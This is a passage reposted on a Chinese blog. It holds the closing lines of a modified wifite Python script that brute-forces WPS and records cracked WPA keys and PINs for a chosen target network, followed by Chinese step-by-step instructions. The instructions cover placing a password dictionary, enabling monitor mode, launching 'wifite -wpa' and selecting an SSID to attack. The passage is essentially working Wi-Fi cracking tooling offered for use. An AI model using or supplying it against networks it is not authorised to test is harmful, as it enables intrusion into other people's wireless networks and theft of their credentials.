  3495.                 # Clear out output file if bigger than 1mb
  3496.                 inf = open(self.RUN_CONFIG.temp + 'out.out', 'w')
  3497.                 inf.close()
  3498.  
  3499.             # End of big "while not cracked" loop
  3500.  
  3501.             if cracked:
  3502.                 if pin != '': print GR + '\n\n [+]' + G + ' PIN found:     %s' % (C + pin + W)
  3503.                 if key != '': print GR + ' [+] %sWPA key found:%s %s' % (G, W, C + key + W)
  3504.                 self.RUN_CONFIG.WPA_FINDINGS.append(W + "found %s's WPA key: \"%s\", WPS PIN: %s" % (
  3505.                 G + self.target.ssid + W, C + key + W, C + pin + W))
  3506.                 self.RUN_CONFIG.WPA_FINDINGS.append('')
  3507.  
  3508.                 t = Target(self.target.bssid, 0, 0, 0, 'WPA', self.target.ssid)
  3509.                 t.key = key
  3510.                 t.wps = pin
  3511.                 self.RUN_CONFIG.save_cracked(t)
  3512.  
  3513.         except KeyboardInterrupt:
  3514.             print R + '\n (^C)' + O + ' WPS brute-force attack interrupted' + W
  3515.             if attack_interrupted_prompt():
  3516.                 send_interrupt(proc)
  3517.                 print ''
  3518.                 self.RUN_CONFIG.exit_gracefully(0)
  3519.  
  3520.         send_interrupt(proc)
  3521.  
  3522.         return cracked
  3523.  
  3524.  
  3525. if __name__ == '__main__':
  3526.     RUN_CONFIG = RunConfiguration()
  3527.     try:
  3528.         banner(RUN_CONFIG)
  3529.         engine = RunEngine(RUN_CONFIG)
  3530.         engine.Start()
  3531.         #main(RUN_CONFIG)
  3532.     except KeyboardInterrupt:
  3533.         print R + '\n (^C)' + O + ' interrupted\n' + W
  3534.     except EOFError:
  3535.         print R + '\n (^D)' + O + ' interrupted\n' + W
  3536.  
  3537.     RUN_CONFIG.exit_gracefully(0)

 使用方法:

  1. 先将字典命名为phpbb.txt 并保存在 /usr/share/wfuzz/wordlist/fuzzdb/wordlists-user-passwd/passwds 路径下，
  2. 连接好外置网卡并开启监听模式。
  3. wifite -wpa
  4. ctrl+c 停止
  5. 输入对应SSID数字并回车
  6. 脚本将自动调用目录下字典进行穷举。

作者:AirCrk

原文地址:http://www.cnblogs.com/AirCrk/articles/5658108.html

转载于:https://www.cnblogs.com/AirCrk/p/5658108.html

声明：本文内容由网友自发贡献，不代表【wpsshop博客】立场，版权归原作者所有，本站不承担相应法律责任。如您发现有侵权的内容，请联系我们。转载请注明出处：https://www.wpsshop.cn/w/Monodyee/article/detail/487256
推荐阅读
相关标签

Copyright © 2003-2013 www.wpsshop.cn 版权所有，并保留所有权利。

  

闽ICP备14008679号